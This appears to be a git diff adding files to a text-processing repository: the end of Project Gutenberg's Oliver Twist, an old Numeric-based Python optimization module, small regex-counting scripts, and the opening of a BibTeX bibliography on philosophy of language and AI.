attire. The lady faints away at the doors of +charitable publicans, and the gentleman being accommodated with +three-penny worth of brandy to restore her, lays an information +next day, and pockets half the penalty. Sometimes Mr. Claypole +faints himself, but the result is the same. + +Mr. and Mrs. Bumble, deprived of their situations, were gradually +reduced to great indigence and misery, and finally became paupers +in that very same workhouse in which they had once lorded it over +others. Mr. Bumble has been heard to say, that in this reverse +and degradation, he has not even spirits to be thankful for being +separated from his wife. + +As to Mr. Giles and Brittles, they still remain in their old +posts, although the former is bald, and the last-named boy quite +grey. They sleep at the parsonage, but divide their attentions +so equally among its inmates, and Oliver and Mr. Brownlow, and +Mr. Losberne, that to this day the villagers have never been able +to discover to which establishment they properly belong. + +Master Charles Bates, appalled by Sikes's crime, fell into a +train of reflection whether an honest life was not, after all, +the best. Arriving at the conclusion that it certainly was, he +turned his back upon the scenes of the past, resolved to amend it +in some new sphere of action. He struggled hard, and suffered +much, for some time; but, having a contented disposition, and a +good purpose, succeeded in the end; and, from being a farmer's +drudge, and a carrier's lad, he is now the merriest young grazier +in all Northamptonshire. + +And now, the hand that traces these words, falters, as it +approaches the conclusion of its task; and would weave, for a +little longer space, the thread of these adventures. + +I would fain linger yet with a few of those among whom I have so +long moved, and share their happiness by endeavouring to depict +it. I would show Rose Maylie in all the bloom and grace of early +womanhood, shedding on her secluded path in life soft and gentle +light, that fell on all who trod it with her, and shone into +their hearts. I would paint her the life and joy of the +fire-side circle and the lively summer group; I would follow her +through the sultry fields at noon, and hear the low tones of her +sweet voice in the moonlit evening walk; I would watch her in all +her goodness and charity abroad, and the smiling untiring +discharge of domestic duties at home; I would paint her and her +dead sister's child happy in their love for one another, and +passing whole hours together in picturing the friends whom they +had so sadly lost; I would summon before me, once again, those +joyous little faces that clustered round her knee, and listen to +their merry prattle; I would recall the tones of that clear +laugh, and conjure up the sympathising tear that glistened in the +soft blue eye. These, and a thousand looks and smiles, and turns +of thought and speech--I would fain recall them every one. + +How Mr. Brownlow went on, from day to day, filling the mind of +his adopted child with stores of knowledge, and becoming attached +to him, more and more, as his nature developed itself, and showed +the thriving seeds of all he wished him to become--how he traced +in him new traits of his early friend, that awakened in his own +bosom old remembrances, melancholy and yet sweet and +soothing--how the two orphans, tried by adversity, remembered its +lessons in mercy to others, and mutual love, and fervent thanks +to Him who had protected and preserved them--these are all +matters which need not to be told. I have said that they were +truly happy; and without strong affection and humanity of heart, +and gratitude to that Being whose code is Mercy, and whose great +attribute is Benevolence to all things that breathe, happiness +can never be attained. + +Within the altar of the old village church there stands a white +marble tablet, which bears as yet but one word: 'AGNES.' There +is no coffin in that tomb; and may it be many, many years, before +another name is placed above it! But, if the spirits of the Dead +ever come back to earth, to visit spots hallowed by the love--the +love beyond the grave--of those whom they knew in life, I believe +that the shade of Agnes sometimes hovers round that solemn nook. +I believe it none the less because that nook is in a Church, and +she was weak and erring. + + + + + + + + + +End of the Project Gutenberg EBook of Oliver Twist, by Charles Dickens + +*** END OF THE PROJECT GUTENBERG EBOOK OLIVER TWIST *** + +This file should be named olivr11.txt or olivr11.zip +Corrected EDITIONS of our eBooks get a new NUMBER, olivr12.txt +VERSIONS based on separate sources get new LETTER, olivr11a.txt + +This etext was created by Peggy Gaugy. +Edition 11 editing by Leigh Little. + +Project Gutenberg eBooks are often created from several printed +editions, all of which are confirmed as Public Domain in the US +unless a copyright notice is included. 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Version 0.3.1 + +# Minimization routines +"""optimize.py + +A collection of general-purpose optimization routines using Numeric + +fmin --- Nelder-Mead Simplex algorithm (uses only function calls) +fminBFGS --- Quasi-Newton method (uses function and gradient) +fminNCG --- Line-search Newton Conjugate Gradient (uses function, gradient + and hessian (if it's provided)) + +""" +import Numeric +import MLab +Num = Numeric +max = MLab.max +min = MLab.min +abs = Num.absolute +__version__="0.3.1" + +def rosen(x): # The Rosenbrock function + return MLab.sum(100.0*(x[1:]-x[:-1]**2.0)**2.0 + (1-x[:-1])**2.0) + +def rosen_der(x): + xm = x[1:-1] + xm_m1 = x[:-2] + xm_p1 = x[2:] + der = MLab.zeros(x.shape,x.typecode()) + der[1:-1] = 200*(xm-xm_m1**2) - 400*(xm_p1 - xm**2)*xm - 2*(1-xm) + der[0] = -400*x[0]*(x[1]-x[0]**2) - 2*(1-x[0]) + der[-1] = 200*(x[-1]-x[-2]**2) + return der + +def rosen3_hess_p(x,p): + assert(len(x)==3) + assert(len(p)==3) + hessp = Num.zeros((3,),x.typecode()) + hessp[0] = (2 + 800*x[0]**2 - 400*(-x[0]**2 + x[1])) * p[0] \ + - 400*x[0]*p[1] \ + + 0 + hessp[1] = - 400*x[0]*p[0] \ + + (202 + 800*x[1]**2 - 400*(-x[1]**2 + x[2]))*p[1] \ + - 400*x[1] * p[2] + hessp[2] = 0 \ + - 400*x[1] * p[1] \ + + 200 * p[2] + + return hessp + +def rosen3_hess(x): + assert(len(x)==3) + hessp = Num.zeros((3,3),x.typecode()) + hessp[0,:] = [2 + 800*x[0]**2 -400*(-x[0]**2 + x[1]), -400*x[0], 0] + hessp[1,:] = [-400*x[0], 202+800*x[1]**2 -400*(-x[1]**2 + x[2]), -400*x[1]] + hessp[2,:] = [0,-400*x[1], 200] + return hessp + + +def fmin(func, x0, args=(), xtol=1e-4, ftol=1e-4, maxiter=None, maxfun=None, fulloutput=0, printmessg=1): + """xopt,{fval,warnflag} = fmin(function, x0, args=(), xtol=1e-4, ftol=1e-4, + maxiter=200*len(x0), maxfun=200*len(x0), fulloutput=0, printmessg=0) + + Uses a Nelder-Mead Simplex algorithm to find the minimum of function + of one or more variables. + """ + x0 = Num.asarray(x0) + assert (len(x0.shape)==1) + N = len(x0) + if maxiter is None: + maxiter = N * 200 + if maxfun is None: + maxfun = N * 200 + + rho = 1; chi = 2; psi = 0.5; sigma = 0.5; + one2np1 = range(1,N+1) + + sim = Num.zeros((N+1,N),x0.typecode()) + fsim = Num.zeros((N+1,),'d') + sim[0] = x0 + fsim[0] = apply(func,(x0,)+args) + nonzdelt = 0.05 + zdelt = 0.00025 + for k in range(0,N): + y = Num.array(x0,copy=1) + if y[k] != 0: + y[k] = (1+nonzdelt)*y[k] + else: + y[k] = zdelt + + sim[k+1] = y + f = apply(func,(y,)+args) + fsim[k+1] = f + + ind = Num.argsort(fsim) + fsim = Num.take(fsim,ind) # sort so sim[0,:] has the lowest function value + sim = Num.take(sim,ind,0) + + iterations = 1 + funcalls = N+1 + + while (funcalls < maxfun and iterations < maxiter): + if (max(Num.ravel(abs(sim[1:]-sim[0]))) <= xtol \ + and max(abs(fsim[0]-fsim[1:])) <= ftol): + break + + xbar = Num.add.reduce(sim[:-1],0) / N + xr = (1+rho)*xbar - rho*sim[-1] + fxr = apply(func,(xr,)+args) + funcalls = funcalls + 1 + doshrink = 0 + + if fxr < fsim[0]: + xe = (1+rho*chi)*xbar - rho*chi*sim[-1] + fxe = apply(func,(xe,)+args) + funcalls = funcalls + 1 + + if fxe < fxr: + sim[-1] = xe + fsim[-1] = fxe + else: + sim[-1] = xr + fsim[-1] = fxr + else: # fsim[0] <= fxr + if fxr < fsim[-2]: + sim[-1] = xr + fsim[-1] = fxr + else: # fxr >= fsim[-2] + # Perform contraction + if fxr < fsim[-1]: + xc = (1+psi*rho)*xbar - psi*rho*sim[-1] + fxc = apply(func,(xc,)+args) + funcalls = funcalls + 1 + + if fxc <= fxr: + sim[-1] = xc + fsim[-1] = fxc + else: + doshrink=1 + else: + # Perform an inside contraction + xcc = (1-psi)*xbar + psi*sim[-1] + fxcc = apply(func,(xcc,)+args) + funcalls = funcalls + 1 + + if fxcc < fsim[-1]: + sim[-1] = xcc + fsim[-1] = fxcc + else: + doshrink = 1 + + if doshrink: + for j in one2np1: + sim[j] = sim[0] + sigma*(sim[j] - sim[0]) + fsim[j] = apply(func,(sim[j],)+args) + funcalls = funcalls + N + + ind = Num.argsort(fsim) + sim = Num.take(sim,ind,0) + fsim = Num.take(fsim,ind) + iterations = iterations + 1 + + x = sim[0] + fval = min(fsim) + warnflag = 0 + + if funcalls >= maxfun: + warnflag = 1 + if printmessg: + print "Warning: Maximum number of function evaluations has been exceeded." + elif iterations >= maxiter: + warnflag = 2 + if printmessg: + print "Warning: Maximum number of iterations has been exceeded" + else: + if printmessg: + print "Optimization terminated successfully." + print " Current function value: %f" % fval + print " Iterations: %d" % iterations + print " Function evaluations: %d" % funcalls + + if fulloutput: + return x, fval, warnflag + else: + return x + + +def zoom(a_lo, a_hi): + pass + + + +def line_search(f, fprime, xk, pk, gfk, args=(), c1=1e-4, c2=0.9, amax=50): + """alpha, fc, gc = line_search(f, xk, pk, gfk, + args=(), c1=1e-4, c2=0.9, amax=1) + + minimize the function f(xk+alpha pk) using the line search algorithm of + Wright and Nocedal in 'Numerical Optimization', 1999, pg. 59-60 + """ + + fc = 0 + gc = 0 + alpha0 = 1.0 + phi0 = apply(f,(xk,)+args) + phi_a0 = apply(f,(xk+alpha0*pk,)+args) + fc = fc + 2 + derphi0 = Num.dot(gfk,pk) + derphi_a0 = Num.dot(apply(fprime,(xk+alpha0*pk,)+args),pk) + gc = gc + 1 + + # check to see if alpha0 = 1 satisfies Strong Wolfe conditions. + if (phi_a0 <= phi0 + c1*alpha0*derphi0) \ + and (abs(derphi_a0) <= c2*abs(derphi0)): + return alpha0, fc, gc + + alpha0 = 0 + alpha1 = 1 + phi_a1 = phi_a0 + phi_a0 = phi0 + + i = 1 + while 1: + if (phi_a1 > phi0 + c1*alpha1*derphi0) or \ + ((phi_a1 >= phi_a0) and (i > 1)): + return zoom(alpha0, alpha1) + + derphi_a1 = Num.dot(apply(fprime,(xk+alpha1*pk,)+args),pk) + gc = gc + 1 + if (abs(derphi_a1) <= -c2*derphi0): + return alpha1 + + if (derphi_a1 >= 0): + return zoom(alpha1, alpha0) + + alpha2 = (amax-alpha1)*0.25 + alpha1 + i = i + 1 + alpha0 = alpha1 + alpha1 = alpha2 + phi_a0 = phi_a1 + phi_a1 = apply(f,(xk+alpha1*pk,)+args) + + + +def line_search_BFGS(f, xk, pk, gfk, args=(), c1=1e-4, alpha0=1): + """alpha, fc, gc = line_search(f, xk, pk, gfk, + args=(), c1=1e-4, alpha0=1) + + minimize over alpha, the function f(xk+alpha pk) using the interpolation + algorithm (Armiijo backtracking) as suggested by + Wright and Nocedal in 'Numerical Optimization', 1999, pg. 56-57 + """ + + fc = 0 + phi0 = apply(f,(xk,)+args) # compute f(xk) + phi_a0 = apply(f,(xk+alpha0*pk,)+args) # compute f + fc = fc + 2 + derphi0 = Num.dot(gfk,pk) + + if (phi_a0 <= phi0 + c1*alpha0*derphi0): + return alpha0, fc, 0 + + # Otherwise compute the minimizer of a quadratic interpolant: + + alpha1 = -(derphi0) * alpha0**2 / 2.0 / (phi_a0 - phi0 - derphi0 * alpha0) + phi_a1 = apply(f,(xk+alpha1*pk,)+args) + fc = fc + 1 + + if (phi_a1 <= phi0 + c1*alpha1*derphi0): + return alpha1, fc, 0 + + # Otherwise loop with cubic interpolation until we find an alpha which satifies + # the first Wolfe condition (since we are backtracking, we will assume that + # the value of alpha is not too small and satisfies the second condition. + + while 1: # we are assuming pk is a descent direction + factor = alpha0**2 * alpha1**2 * (alpha1-alpha0) + a = alpha0**2 * (phi_a1 - phi0 - derphi0*alpha1) - \ + alpha1**2 * (phi_a0 - phi0 - derphi0*alpha0) + a = a / factor + b = -alpha0**3 * (phi_a1 - phi0 - derphi0*alpha1) + \ + alpha1**3 * (phi_a0 - phi0 - derphi0*alpha0) + b = b / factor + + alpha2 = (-b + Num.sqrt(abs(b**2 - 3 * a * derphi0))) / (3.0*a) + phi_a2 = apply(f,(xk+alpha2*pk,)+args) + fc = fc + 1 + + if (phi_a2 <= phi0 + c1*alpha2*derphi0): + return alpha2, fc, 0 + + if (alpha1 - alpha2) > alpha1 / 2.0 or (1 - alpha2/alpha1) < 0.96: + alpha2 = alpha1 / 2.0 + + alpha0 = alpha1 + alpha1 = alpha2 + phi_a0 = phi_a1 + phi_a1 = phi_a2 + +epsilon = 1e-8 + +def approx_fprime(xk,f,*args): + f0 = apply(f,(xk,)+args) + grad = Num.zeros((len(xk),),'d') + ei = Num.zeros((len(xk),),'d') + for k in range(len(xk)): + ei[k] = 1.0 + grad[k] = (apply(f,(xk+epsilon*ei,)+args) - f0)/epsilon + ei[k] = 0.0 + return grad + +def approx_fhess_p(x0,p,fprime,*args): + f2 = apply(fprime,(x0+epsilon*p,)+args) + f1 = apply(fprime,(x0,)+args) + return (f2 - f1)/epsilon + + +def fminBFGS(f, x0, fprime=None, args=(), avegtol=1e-5, maxiter=None, fulloutput=0, printmessg=1): + """xopt = fminBFGS(f, x0, fprime=None, args=(), avegtol=1e-5, + maxiter=None, fulloutput=0, printmessg=1) + + Optimize the function, f, whose gradient is given by fprime using the + quasi-Newton method of Broyden, Fletcher, Goldfarb, and Shanno (BFGS) + See Wright, and Nocedal 'Numerical Optimization', 1999, pg. 198. + """ + + app_fprime = 0 + if fprime is None: + app_fprime = 1 + + x0 = Num.asarray(x0) + if maxiter is None: + maxiter = len(x0)*200 + func_calls = 0 + grad_calls = 0 + k = 0 + N = len(x0) + gtol = N*avegtol + I = MLab.eye(N) + Hk = I + + if app_fprime: + gfk = apply(approx_fprime,(x0,f)+args) + func_calls = func_calls + len(x0) + 1 + else: + gfk = apply(fprime,(x0,)+args) + grad_calls = grad_calls + 1 + xk = x0 + sk = [2*gtol] + while (Num.add.reduce(abs(gfk)) > gtol) and (k < maxiter): + pk = -Num.dot(Hk,gfk) + alpha_k, fc, gc = line_search_BFGS(f,xk,pk,gfk,args) + func_calls = func_calls + fc + xkp1 = xk + alpha_k * pk + sk = xkp1 - xk + xk = xkp1 + if app_fprime: + gfkp1 = apply(approx_fprime,(xkp1,f)+args) + func_calls = func_calls + gc + len(x0) + 1 + else: + gfkp1 = apply(fprime,(xkp1,)+args) + grad_calls = grad_calls + gc + 1 + + yk = gfkp1 - gfk + k = k + 1 + + rhok = 1 / Num.dot(yk,sk) + A1 = I - sk[:,Num.NewAxis] * yk[Num.NewAxis,:] * rhok + A2 = I - yk[:,Num.NewAxis] * sk[Num.NewAxis,:] * rhok + Hk = Num.dot(A1,Num.dot(Hk,A2)) + rhok * sk[:,Num.NewAxis] * sk[Num.NewAxis,:] + gfk = gfkp1 + + + if printmessg or fulloutput: + fval = apply(f,(xk,)+args) + if k >= maxiter: + warnflag = 1 + if printmessg: + print "Warning: Maximum number of iterations has been exceeded" + print " Current function value: %f" % fval + print " Iterations: %d" % k + print " Function evaluations: %d" % func_calls + print " Gradient evaluations: %d" % grad_calls + else: + warnflag = 0 + if printmessg: + print "Optimization terminated successfully." + print " Current function value: %f" % fval + print " Iterations: %d" % k + print " Function evaluations: %d" % func_calls + print " Gradient evaluations: %d" % grad_calls + + if fulloutput: + return xk, fval, func_calls, grad_calls, warnflag + else: + return xk + + +def fminNCG(f, x0, fprime, fhess_p=None, fhess=None, args=(), avextol=1e-5, maxiter=None, fulloutput=0, printmessg=1): + """xopt = fminNCG(f, x0, fprime, fhess_p=None, fhess=None, args=(), avextol=1e-5, + maxiter=None, fulloutput=0, printmessg=1) + + Optimize the function, f, whose gradient is given by fprime using the + Newton-CG method. fhess_p must compute the hessian times an arbitrary + vector. If it is not given, finite-differences on fprime are used to + compute it. See Wright, and Nocedal 'Numerical Optimization', 1999, + pg. 140. + """ + + x0 = Num.asarray(x0) + fcalls = 0 + gcalls = 0 + hcalls = 0 + approx_hessp = 0 + if fhess_p is None and fhess is None: # Define hessian product + approx_hessp = 1 + + xtol = len(x0)*avextol + update = [2*xtol] + xk = x0 + k = 0 + while (Num.add.reduce(abs(update)) > xtol) and (k < maxiter): + # Compute a search direction pk by applying the CG method to + # del2 f(xk) p = - grad f(xk) starting from 0. + b = -apply(fprime,(xk,)+args) + gcalls = gcalls + 1 + maggrad = Num.add.reduce(abs(b)) + eta = min([0.5,Num.sqrt(maggrad)]) + termcond = eta * maggrad + xsupi = 0 + ri = -b + psupi = -ri + i = 0 + dri0 = Num.dot(ri,ri) + + if fhess is not None: # you want to compute hessian once. + A = apply(fhess,(xk,)+args) + hcalls = hcalls + 1 + + while Num.add.reduce(abs(ri)) > termcond: + if fhess is None: + if approx_hessp: + Ap = apply(approx_fhess_p,(xk,psupi,fprime)+args) + gcalls = gcalls + 2 + else: + Ap = apply(fhess_p,(xk,psupi)+args) + hcalls = hcalls + 1 + else: + Ap = Num.dot(A,psupi) + # check curvature + curv = Num.dot(psupi,Ap) + if (curv <= 0): + if (i > 0): + break + else: + xsupi = xsupi + dri0/curv * psupi + break + alphai = dri0 / curv + xsupi = xsupi + alphai * psupi + ri = ri + alphai * Ap + dri1 = Num.dot(ri,ri) + betai = dri1 / dri0 + psupi = -ri + betai * psupi + i = i + 1 + dri0 = dri1 # update Num.dot(ri,ri) for next time. + + pk = xsupi # search direction is solution to system. + gfk = -b # gradient at xk + alphak, fc, gc = line_search_BFGS(f,xk,pk,gfk,args) + fcalls = fcalls + fc + gcalls = gcalls + gc + + update = alphak * pk + xk = xk + update + k = k + 1 + + if printmessg or fulloutput: + fval = apply(f,(xk,)+args) + if k >= maxiter: + warnflag = 1 + if printmessg: + print "Warning: Maximum number of iterations has been exceeded" + print " Current function value: %f" % fval + print " Iterations: %d" % k + print " Function evaluations: %d" % fcalls + print " Gradient evaluations: %d" % gcalls + print " Hessian evaluations: %d" % hcalls + else: + warnflag = 0 + if printmessg: + print "Optimization terminated successfully." + print " Current function value: %f" % fval + print " Iterations: %d" % k + print " Function evaluations: %d" % fcalls + print " Gradient evaluations: %d" % gcalls + print " Hessian evaluations: %d" % hcalls + + if fulloutput: + return xk, fval, fcalls, gcalls, hcalls, warnflag + else: + return xk + + + +if __name__ == "__main__": + import string + import time + + + times = [] + algor = [] + x0 = [0.8,1.2,0.7] + start = time.time() + x = fmin(rosen,x0) + print x + times.append(time.time() - start) + algor.append('Nelder-Mead Simplex\t') + + start = time.time() + x = fminBFGS(rosen, x0, fprime=rosen_der, maxiter=80) + print x + times.append(time.time() - start) + algor.append('BFGS Quasi-Newton\t') + + start = time.time() + x = fminBFGS(rosen, x0, avegtol=1e-4, maxiter=100) + print x + times.append(time.time() - start) + algor.append('BFGS without gradient\t') + + + start = time.time() + x = fminNCG(rosen, x0, rosen_der, fhess_p=rosen3_hess_p, maxiter=80) + print x + times.append(time.time() - start) + algor.append('Newton-CG with hessian product') + + + start = time.time() + x = fminNCG(rosen, x0, rosen_der, fhess=rosen3_hess, maxiter=80) + print x + times.append(time.time() - start) + algor.append('Newton-CG with full hessian') + + print "\nMinimizing the Rosenbrock function of order 3\n" + print " Algorithm \t\t\t Seconds" + print "===========\t\t\t =========" + for k in range(len(algor)): + print algor[k], "\t -- ", times[k] + + + + + + + + + + + + + + + + diff --git a/mccalum/regexcount.py b/mccalum/regexcount.py new file mode 100644 index 0000000..2b0365d --- /dev/null +++ b/mccalum/regexcount.py @@ -0,0 +1,39 @@ +#!/sw/bin/python +import re +import sys +import copy + +if sys.argv[1] == '-h': + print 'usage:', sys.argv[0], 'regex files...' + +class DefaultDict (dict): + """Dictionary with a default value for unknown keys.""" + def __init__(self, default): + self.default = default + def __getitem__(self, key): + if key in self: return self.get(key) + return self.setdefault(key, copy.deepcopy(self.default)) + def sorted(self, rev=True): + counts = [ (c,w) for w,c in self.items() ] + counts.sort(reverse=rev) + return counts + +r = re.compile(sys.argv[1]); +counts = DefaultDict(0) + +if len(sys.argv) < 3: + sys.argv += '-' + +for filename in sys.argv[2:]: + if filename == '-': + file = sys.stdin + else: + file = open(filename,'r') + for line in file.xreadlines(): + match = r.search(line) + if match: + print filename, '***', line, + if match.group(1): + counts[match.group(1)] += 1 + +print counts.sorted()[:50] diff --git a/mccalum/regexcount2.py b/mccalum/regexcount2.py new file mode 100644 index 0000000..8cdecdf --- /dev/null +++ b/mccalum/regexcount2.py @@ -0,0 +1,31 @@ +#!/usr/bin/python +import re +import sys +import dicts + +if sys.argv[1] == '-h': + print 'usage:', sys.argv[0], 'regex files...' + print 'The regular expression must contain a group, i.e. parentheses.' + print "For example: python regexcount.py '\bwent (\w+)\b' *.txt" + +r = re.compile(sys.argv[1]); +counts = dicts.DefaultDict(0) + +if len(sys.argv) < 3: + sys.argv += '-' + +for filename in sys.argv[2:]: + if filename == '-': + file = sys.stdin + else: + file = open(filename,'r') + for line in file.xreadlines(): + iterator = r.finditer(line) + found = False + for match in iterator: + found = True + if match.group(1): + counts[match.group(1)] += 1 + if found: print filename, '***', line, + +print counts.sorted()[:50] diff --git a/mccalum/regexs.py b/mccalum/regexs.py new file mode 100644 index 0000000..62c8e38 --- /dev/null +++ b/mccalum/regexs.py @@ -0,0 +1,14 @@ +#!/sw/bin/python +import re +import sys + +#print 'regex', sys.argv[1] +#print 'files', sys.argv[2:] + +r = re.compile(sys.argv[1]); + +for filename in sys.argv[2:]: + file = open(filename,'r') + for line in file.xreadlines(): + if r.search(line): + print filename, '***', line, diff --git a/mccalum/rht.bib.txt b/mccalum/rht.bib.txt new file mode 100644 index 0000000..3c0a936 --- /dev/null +++ b/mccalum/rht.bib.txt @@ -0,0 +1,207756 @@ +% Bibliography of Work in Philosophy of Language,feb +% Semantics, Artificial Intelligence, and Assorted +% Related Topics. +% +% Author: R.H. Thomason +% Date of this version: Oct. 19, 2002 +% +% Send additions, corrections, and comments to +% rich@thomason.org +% +% Note: I am always interested in BibTeX formated +% bibligraphies on related topics. +% +% Thanks to the following people for material: Jon Doyle, +% Jeff Horty, Matthew Stone. +% +% Notes: +% 1. The following LaTeX macro appears in some references. +% \newcommand{\user}{\raisebox{-.3ex}{{\~{}}}} +% 2. The following package is needed for \rotatebox command, used +% in one title: \usepackage{graphicx} +% + +@book{ aaker:1981a, + author = {David A. Aaker}, + title = {Multivariate Analysis in Marketing}, + edition = {2}, + publisher = {The Scientific Press}, + year = {1981}, + address = {Palo Alto}, + topic = {multivariate-statistics;market-research;} + } + +@unpublished{ abbott_b:1974a, + author = {Barbara Abbott}, + title = {Some Problems in Giving an Adequate Model-Theoretical + Account of {CAUSE}}, + year = {1974}, + note = {Unpublished manuscript.}, + topic = {causality;} + } + +@unpublished{ abbott_b:1974b, + author = {Barbara Abbott}, + title = {Some Remarks Concerning {H}intikka's Theory of Propositional + Attitudes}, + year = {1974}, + note = {Unpublished manuscript.}, + topic = {propositional-attitudes;} + } + +@unpublished{ abbott_b:1975a, + author = {Barbara Abbott}, + title = {Remarks on `Belief-Contexts'\, } , + year = {1975}, + note = {Unpublished manuscript.}, + topic = {propositional-attitudes;} + } + +@phdthesis{ abbott_b:1976a, + author = {Barbara Abbott}, + title = {A Study of Referential Opacity}, + school = {Linguistics Department, University of California at Berkeley}, + year = {1976}, + type = {Ph.{D}. Dissertation}, + address = {Berkeley, California}, + missinginfo = {Date is a guess}, + topic = {intensionality;} + } + +@article{ abbott_b-hudson_g:1981a, + author = {Barbara Abbott and Grover Hudson}, + title = {Review of {\it Making Sense}, by {G}eoffrey {S}ampson}, + journal = {Linguistics and Philosophy}, + year = {1981}, + volume = {4}, + number = {3}, + pages = {437--451}, + xref = {Review of sampson:1980a.}, + topic = {foundations-of-semantics;foundations-of-linguistics; + language-universals;philosophy-of-linguistics;} + } + +@article{ abbott_b:1989a, + author = {Barbara Abbott}, + title = {Nondescriptionality and Natural Kind Terms}, + journal = {Linguistics and Philosophy}, + year = {1989}, + volume = {12}, + number = {3}, + pages = {269--291}, + topic = {natural-kinds;sense-reference;common-nouns;} + } + +@article{ abbott_b:1997a, + author = {Barbara Abbott}, + title = {Models, Truth, and Semantics}, + journal = {Linguistics and Philosophy}, + year = {1997}, + volume = {20}, + number = {2}, + pages = {117--138}, + topic = {foundations-of-semantics;nl-semantics-and-cognition;} + } + +@article{ abbott_b:2000a, + author = {Barbara Abbott}, + title = {Fodor and {L}epore on Meaning Similarity and + {C}ompositionality}, + journal = {The Journal of Philosophy}, + year = {2000}, + volume = {97}, + number = {8}, + pages = {454--455}, + xref = {Comment on fodor_ja-lepore:1996c.}, + topic = {foundations-of-semantics;synonymy; + cognitive-semantics;state-space-semantics; + conceptual-role-semantics;} + } + +@unpublished{ abbott_cc:1979a, + author = {Carolyn C. Abbott}, + title = {Problems of Rule Ordering in Transformational + Generative Syntax}, + year = {1979}, + note = {Unpublished manuscript, Linguistics Department, University + of Pittsburgh}, + topic = {transformational-grammar;rule-ordering;} + } + +@article{ abdelbar:1998a, + author = {Ashraf M. Abdelbar}, + title = {An Algorithm for Finding {MAPS} for Belief Networks + through Cost-Based Abduction}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {104}, + number = {1--2}, + pages = {331--338}, + topic = {abduction;probabilistic-reasoning;} + } + +@article{ abdelbar-hedetniemi:1998a, + author = {Ashraf M. Abdelbar and Sandra M. Hedetniemi}, + title = {Approximating {MAP}s for Belief Networks is {NP}-Hard + and Other Theorems}, + journal = {Artificial Intelligence}, + year = {1998}, + volume = {102}, + number = {1}, + pages = {21--38}, + topic = {Bayesian-networks;complexity-in-AI;} + } + +@article{ abdelbar-etal:2000a, + author = {Ashraf M. Abdelbar and Stephen T. Hedetniemi + and Sandra M. Hedetniemi}, + title = {The Complexity of Approximating {MAP}s for + Belief Networks with Bounded Probabilities}, + journal = {Artificial Intelligence}, + year = {2000}, + volume = {124}, + number = {2}, + pages = {283--288}, + topic = {Bayesian-networks;complexity-in-AI;} + } + +@book{ abdelhafiz-basili:1996a, + author = {Salwa K. Abd-El-Hafiz and Victor R. Basili}, + title = {Process-Centered Requirements Engineering}, + publisher = {John Wiley and Sons}, + year = {1996}, + address = {New York}, + ISBN = {0863801935 (Research Studies Press)}, + topic = {software-engineering;} + } + +@techreport{ abdullah:1991a, + author = {Areski Nait Abdullah}, + title = {Kernel Knowledge Versus Belt Knowledge in Default + Reasoning: a Logical Approach}, + institution = {Department of Computer Science, University of + Western Ontario}, + number = {292}, + year = {1991}, + address = {London, Ontario}, + missinginfo = {number}, + topic = {nonmonotonic-reasoning;nonmonotonic-prioritization;} + } + +@book{ abdullah:1995a, + author = {Areski Nait Abdullah}, + title = {The Logic of Partial Information}, + publisher = {Springer-Verlag}, + year = {1995}, + address = {Berlin}, + contentnote = {TC: + 1. Introduction + 2. Partial Propositional Logic + 3. Syntax of the Language with Partial Information Ions + 4. Reasoning with Partial Information Ions + 5. Semantics of Partial Information of Rank 1 + 6. Semantics of Partial Information of Infinite Rank + 7. Algebraic Properties + 8. Beth Tableaux + 9. Applications; the statics of logic systems + 10. Naive Axiomatics and proof theory of propositional partial + information ionic logic + 11. Soundness + 12. Formal axiomatics + 13. Extension and justification closure approach + 14. Partial first order logic + 15. Syntax and semantics of first-order partial information ions + 16. Beth Tableaux + 17. Axiomatics and proof theory of first-order partial information + ionic logic + 18. Partial information ionic logic programming + 19. Syntactic and semantic paths; applications to defeasible + inheritance + 20. The frame problem; the dynamics of logic systems + 21. Reasoning about actions: projection problem + 22. Reasoning about actions: explanation problem + }, + topic = {nonmonotonic-logic;partial-logic;theories-of-information;} + } + +@inproceedings{ abe-li:1996a, + author = {Naoki Abe and Hang Li}, + title = {Learning Word Association Norms Using Tree Cut + Pair Models}, + booktitle = {Proceedings of the 13th International Conference on + Machine Learning}, + year = {1996}, + url = {http://xxx.lanl.gov/abs/cmp-lg/9605029}, + missinginfo = {publisher, editor, pages}, + topic = {machine-language-learning;semantic-similarity; + wordnet;} + } + +@inproceedings{ aberdeen-etal:1999a, + author = {John Aberdeen and Sam Bayer and Sasha Caskey and Laurie + Damianos and Alan Goldschen and Lynette Hirschman and + Dan Loehr and Hugo Trapper}, + title = {Implementing Practical Dialogue Systems with the {DARPA} + Communicator Architecture}, + booktitle = {Proceedings of the {IJCAI}-99 Workshop on + Knowledge and Reasoning in Practical Dialogue Systems}, + year = {1999}, + editor = {Jan Alexandersson}, + pages = {81--86}, + organization = {IJCAI}, + publisher = {International Joint Conference on Artificial Intelligence}, + address = {Murray Hill, New Jersey}, + topic = {computational-dialogue;spoken-dialogue-systems;} + } + +@book{ aberth:2001a, + author = {Oliver Aberth}, + title = {Computable Calculus}, + publisher = {Academic Press}, + year = {2001}, + address = {San Diego}, + note = {CR_ROM included.}, + xref = {Review: bridges:2002a.}, + topic = {constructive-mathematics;automated-algebra;} + } + +@incollection{ abiteboul:1988a, + author = {Serge Abiteboul}, + title = {Updates: A New Frontier}, + booktitle = {Proceedings of the Second Conference on Database + Theory}, + publisher = {Springer-Verlag}, + year = {1988}, + pages = {1--18}, + address = {Berlin}, + missinginfo = {A's 1st name, editor.}, + topic = {databases;database-update;} + } + +@techreport{ abiteboul-kanekkakis:1989a, + author = {Sergei Abiteboul and Paris Kanekkakis}, + title = {Object Identity as a Query Language Primitive}, + institution = {Institute National de Recherche en Informatique et en + Automatique}, + number = {1022}, + year = {1991}, + address = {78153 Le Chesnay Cedex, France}, + topic = {object-oriented-databases;} + } + +@book{ abiteboul-etal:1995a, + author = {Serge Abiteboul and Richard Hull and Victor Vianu}, + title = {Foundations of Databases}, + publisher = {Addison-Wesley Publishing Co.}, + year = {1995}, + address = {Reading, Massachusetts}, + ISBN = {0201537710}, + topic = {databases;} + } + +@phdthesis{ abney:1987a, + author = {Steven Abney}, + title = {The {E}nglish Noun Phrase in Its Sentential Aspect}, + school = {Department of Linguistics, MIT}, + year = {1987}, + type = {Ph.{D}. Dissertation}, + address = {Cambridge, Massachusetts}, + topic = {government-binding-theory;noun-phrases;} + } + +@incollection{ abney:1996a, + author = {Steven Abney}, + title = {Statistical Methods and Linguistics}, + booktitle = {The Balancing Act: Combining Symbolic and Statistical + Approaches to Language}, + publisher = {The {MIT} Press}, + year = {1996}, + editor = {Judith Klavans and Philip Resnik}, + pages = {1--26}, + address = {Cambridge, Massachusetts}, + topic = 